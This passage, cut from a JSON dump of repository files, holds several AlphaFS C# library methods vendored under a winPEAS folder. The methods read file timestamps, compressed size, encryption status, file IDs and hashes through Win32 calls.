    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Gets the change date and time of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified file. This value is expressed in local time.</returns>\n      /// <remarks><para>Use either <paramref name=\"path\"/> or <paramref name=\"safeFileHandle\"/>, not both.</para></remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"safeFileHandle\">An open handle to the file or directory from which to retrieve information.</param>\n      /// <param name=\"isFolder\">Specifies that <paramref name=\"path\"/> is a file or directory.</param>\n      /// <param name=\"path\">The file or directory for which to obtain creation date and time information.</param>\n      /// <param name=\"getUtc\"><c>true</c> gets the Coordinated Universal Time (UTC), <c>false</c> gets the local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\", Justification = \"Disposing is controlled.\")]\n      [SecurityCritical]\n      internal static DateTime GetChangeTimeCore(KernelTransaction transaction, SafeFileHandle safeFileHandle, bool isFolder, string path, bool getUtc, PathFormat pathFormat)\n      {\n         if (!NativeMethods.IsAtLeastWindowsVista)\n            throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message);\n\n\n         var callerHandle = null != safeFileHandle;\n         if (!callerHandle)\n         {\n            if (pathFormat != PathFormat.LongFullPath && Utils.IsNullOrWhiteSpace(path))\n               throw new ArgumentNullException(\"path\");\n\n            var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.CheckInvalidPathChars);\n\n            safeFileHandle = CreateFileCore(transaction, isFolder, pathLp, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.ReadData, FileShare.ReadWrite, true, false, PathFormat.LongFullPath);\n         }\n\n\n         try\n         {\n            NativeMethods.IsValidHandle(safeFileHandle);\n            \n            using (var safeBuffer = new SafeGlobalMemoryBufferHandle(IntPtr.Size + Marshal.SizeOf(typeof(NativeMethods.FILE_BASIC_INFO))))\n            {\n               NativeMethods.FILE_BASIC_INFO fbi;\n\n               var success = NativeMethods.GetFileInformationByHandleEx_FileBasicInfo(safeFileHandle, NativeMethods.FILE_INFO_BY_HANDLE_CLASS.FILE_BASIC_INFO, out fbi, (uint) safeBuffer.Capacity);\n               \n               var lastError = Marshal.GetLastWin32Error();\n               if (!success)\n                  NativeError.ThrowException(lastError, !Utils.IsNullOrWhiteSpace(path) ? path : null);\n\n\n               safeBuffer.StructureToPtr(fbi, true);\n               var changeTime = safeBuffer.PtrToStructure<NativeMethods.FILE_BASIC_INFO>(0).ChangeTime;\n\n\n               return getUtc ? DateTime.FromFileTimeUtc(changeTime) : DateTime.FromFileTime(changeTime);\n            }\n         }\n         finally\n         {\n            // Handle is ours, dispose.\n            if (!callerHandle && null != safeFileHandle && !safeFileHandle.IsClosed)\n               safeFileHandle.Close();\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetCompressedSizeCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Retrieves the actual number of bytes of disk storage used to store a\n      ///   specified file as part of a transaction. If the file is located on a volume that supports compression and the file is compressed,\n      ///   the value obtained is the compressed size of the specified file. If the file is located on a volume that supports sparse files and\n      ///   the file is a sparse file, the value obtained is the sparse size of the specified file.\n      /// </summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\"><para>The name of the file.</para></param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>The actual number of bytes of disk storage used to store the specified file.</returns>      \n      [SecurityCritical]\n      internal static long GetCompressedSizeCore(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         if (pathFormat != PathFormat.LongFullPath && Utils.IsNullOrWhiteSpace(path))\n            throw new ArgumentNullException(\"path\");\n\n         var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n         uint fileSizeHigh;\n         var fileSizeLow = null == transaction || !NativeMethods.IsAtLeastWindowsVista\n\n            // GetCompressedFileSize() / GetCompressedFileSizeTransacted()\n            // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n            // 2017-05-30: GetCompressedFileSize() MSDN confirms LongPath usage: Starting with Windows 10, version 1607\n\n            ? NativeMethods.GetCompressedFileSize(pathLp, out fileSizeHigh)\n\n            : NativeMethods.GetCompressedFileSizeTransacted(pathLp, out fileSizeHigh, transaction.SafeHandle);\n\n         var lastError = Marshal.GetLastWin32Error();\n\n\n         // If the function fails, and lpFileSizeHigh is NULL, the return value is INVALID_FILE_SIZE.\n\n         if (fileSizeLow == Win32Errors.ERROR_INVALID_FILE_SIZE && fileSizeHigh == 0)\n\n            NativeError.ThrowException(lastError, pathLp);\n\n\n         return NativeMethods.ToLong(fileSizeHigh, fileSizeLow);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetCreationTimeCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the creation date and time, in Coordinated Universal Time (UTC) or local time, of the specified file or directory.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file or directory for which to obtain creation date and time information.</param>\n      /// <param name=\"returnUtc\"><c>true</c> gets the Coordinated Universal Time (UTC), <c>false</c> gets the local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified file or directory.\n      ///   Depending on <paramref name=\"returnUtc\"/> this value is expressed in UTC- or local time.\n      /// </returns>\n      [SecurityCritical]\n      internal static DateTime GetCreationTimeCore(KernelTransaction transaction, string path, bool returnUtc, PathFormat pathFormat)\n      {\n         var creationTime = GetAttributesExCore<NativeMethods.WIN32_FILE_ATTRIBUTE_DATA>(transaction, path, pathFormat, false).ftCreationTime;\n\n         return returnUtc ? DateTime.FromFileTimeUtc(creationTime) : DateTime.FromFileTime(creationTime);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetEncryptionStatusCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Retrieves the encryption status of the specified file.</summary>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>The <see cref=\"FileEncryptionStatus\"/> of the specified <paramref name=\"path\"/>.</returns>\n      [SecurityCritical]\n      internal static FileEncryptionStatus GetEncryptionStatusCore(string path, PathFormat pathFormat)\n      {\n         if (pathFormat != PathFormat.LongFullPath && Utils.IsNullOrWhiteSpace(path))\n            throw new ArgumentNullException(\"path\");\n\n         var pathLp = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n         FileEncryptionStatus status;\n\n         // FileEncryptionStatus()\n         // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n\n         if (!NativeMethods.FileEncryptionStatus(pathLp, out status))\n            NativeError.ThrowException(Marshal.GetLastWin32Error(), pathLp);\n\n         return status;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetFileIdInfoCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Gets the unique identifier for a file. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier.</summary>\n      /// <returns>A <see cref=\"FileIdInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"isFolder\">Specifies that <paramref name=\"path\"/> is a file or directory.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static FileIdInfo GetFileIdInfoCore(KernelTransaction transaction, bool isFolder, string path, PathFormat pathFormat)\n      {\n         using (var handle = CreateFileCore(transaction, isFolder, path, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.ReadData, FileShare.ReadWrite, true, false, pathFormat))\n         {\n            if (NativeMethods.IsAtLeastWindows8)\n            {\n               // ReFS is supported.\n               using (var safeBuffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(typeof(NativeMethods.FILE_ID_INFO))))\n               {\n                  var success = NativeMethods.GetFileInformationByHandleEx(handle, NativeMethods.FILE_INFO_BY_HANDLE_CLASS.FILE_ID_INFO, safeBuffer, (uint) safeBuffer.Capacity);\n\n                  var lastError = Marshal.GetLastWin32Error();\n                  if (!success)\n                     NativeError.ThrowException(lastError, isFolder, path);\n\n                  return new FileIdInfo(safeBuffer.PtrToStructure<NativeMethods.FILE_ID_INFO>(0));\n               }\n            }\n\n\n            // Only NTFS is supported.\n            return GetFileIdInfo(handle);\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetFileInfoByHandleCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Retrieves file information for the specified file.</summary>\n      /// <returns>A <see cref=\"ByHandleFileInfo\"/> object containing the requested information.</returns>\n      /// <remarks>File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"isFolder\">Specifies that <paramref name=\"path\"/> is a file or directory.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static ByHandleFileInfo GetFileInfoByHandleCore(KernelTransaction transaction, bool isFolder, string path, PathFormat pathFormat)\n      {\n         using (var handle = CreateFileCore(transaction, isFolder, path, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.ReadData, FileShare.ReadWrite, true, false, pathFormat))\n\n            return GetFileInfoByHandle(handle);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetFileSystemEntryInfoCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Gets the <see cref=\"FileSystemEntryInfo\"/> for a Non-/Transacted file or directory on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the file or directory, or <c>null</c> on Exception when <paramref name=\"continueOnException\"/> is <c>true</c>.</returns>\n      /// <remarks>BasicSearch <see cref=\"NativeMethods.FINDEX_INFO_LEVELS.Basic\"/> and LargeCache <see cref=\"NativeMethods.FIND_FIRST_EX_FLAGS.LARGE_FETCH\"/> are used by default, if possible.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"isFolder\">When <c>true</c> indicates the source is a directory; file otherwise. Use <c>false</c> if unknown.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"continueOnException\">\n      ///    <para><c>true</c> suppress any Exception that might be thrown as a result from a failure,</para>\n      ///    <para>such as ACLs protected filesor non-accessible reparse points.</para>\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static FileSystemEntryInfo GetFileSystemEntryInfoCore(KernelTransaction transaction, bool isFolder, string path, bool continueOnException, PathFormat pathFormat)\n      {\n         var options = continueOnException ? DirectoryEnumerationOptions.ContinueOnException : DirectoryEnumerationOptions.None;\n\n         return new FindFileSystemEntryInfo(transaction, isFolder, path, Path.WildcardStarMatchAll, options, null, pathFormat, typeof(FileSystemEntryInfo)).Get<FileSystemEntryInfo>();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetHashCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Globalization;\nusing System.IO;\nusing System.Security;\nusing System.Security.Cryptography;\nusing System.Text;\nusing Alphaleonis.Win32.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Calculates the hash/checksum for the given <paramref name=\"fileFullPath\"/>.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fileFullPath\">The path to the file.</param>\n      /// <param name=\"hashType\">One of the <see cref=\"HashType\"/> values.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>The hash core.</returns>\n      [SecurityCritical]\n      internal static string GetHashCore(KernelTransaction transaction, string fileFullPath, HashType hashType, PathFormat pathFormat)\n      {\n         const GetFullPathOptions options = GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck;\n\n         var fileNameLp = Path.GetExtendedLengthPathCore(transaction, fileFullPath, pathFormat, options);\n\n         byte[] hash = null;\n\n\n         using (var fs = OpenCore(transaction, fileNameLp, FileMode.Open, FileAccess.Read, FileShare.Read, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath))\n         {\n            switch (hashType)\n            {\n               case HashType.CRC32:\n                  using (var hType = new Crc32())\n                     hash = hType.ComputeHash(fs);\n                  break;\n\n\n               case HashType.CRC64ISO3309:\n                  using (var hType = new Crc64())\n                     hash = hType.ComputeHash(fs);\n                  break;\n\n\n               case HashType.MD5:\n                  using (var hType = MD5.Create())\n                     hash = hType.ComputeHash(fs);\n                  break;\n\n#if !NETSTANDARD20\n               case HashType.RIPEMD160:\n                  using (var hType = RIPEMD160.Create())\n                     hash = hType.ComputeHash(fs);\n                  break;\n#endif\n\n               case HashType.SHA1:\n                  using (var hType = SHA1.Create())\n                     hash = hType.ComputeHash(fs);\n                  break;\n\n\n               case HashType.SHA256:\n                  using (var hType = SHA256.Create())\n                     hash = hType.ComputeHash(fs);\n                  break;\n\n\n               case HashType.SHA384:\n                  using (var hType = SHA384.Create())\n                     hash = hType.ComputeHash(fs);\n                  break;\n\n\n               case HashType.SHA512:\n                  using (var hType = SHA512.Create())\n                     hash = hType.ComputeHash(fs);\n                  break;\n            }\n         }\n\n\n         if (null != hash)\n         {\n            var sb = new StringBuilder(hash.Length);\n\n            foreach (var b in hash)\n               sb.Append(b.ToString(\"X2\", CultureInfo.InvariantCulture));\n\n            return sb.ToString().ToUpperInvariant();\n         }\n\n         return string.Empty;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetLastAccessTimeCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the date and time, in coordinated universal time (UTC) or local time, that the specified file or directory was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file or directory for which to obtain access date and time information.</param>\n      /// <param name=\"returnUtc\"><c>true</c> gets the Coordinated Universal Time (UTC), <c>false</c> gets the local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   A <see cref=\"DateTime\"/> structure set to the date and time that the specified file or directory was last accessed.\n      ///   Depending on <paramref name=\"returnUtc\"/> this value is expressed in UTC- or local time.\n      /// </returns>\n      [SecurityCritical]\n      internal static DateTime GetLastAccessTimeCore(KernelTransaction transaction, string path, bool returnUtc, PathFormat pathFormat)\n      {\n         var lastAccessTime = GetAttributesExCore<NativeMethods.WIN32_FILE_ATTRIBUTE_DATA>(transaction, path, pathFormat, false).ftLastAccessTime;\n\n         return returnUtc ? DateTime.FromFileTimeUtc(lastAccessTime) : DateTime.FromFileTime(lastAccessTime);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetLastWriteTimeCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the date and time, in coordinated universal time (UTC) or local time, that the specified file or directory was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file or 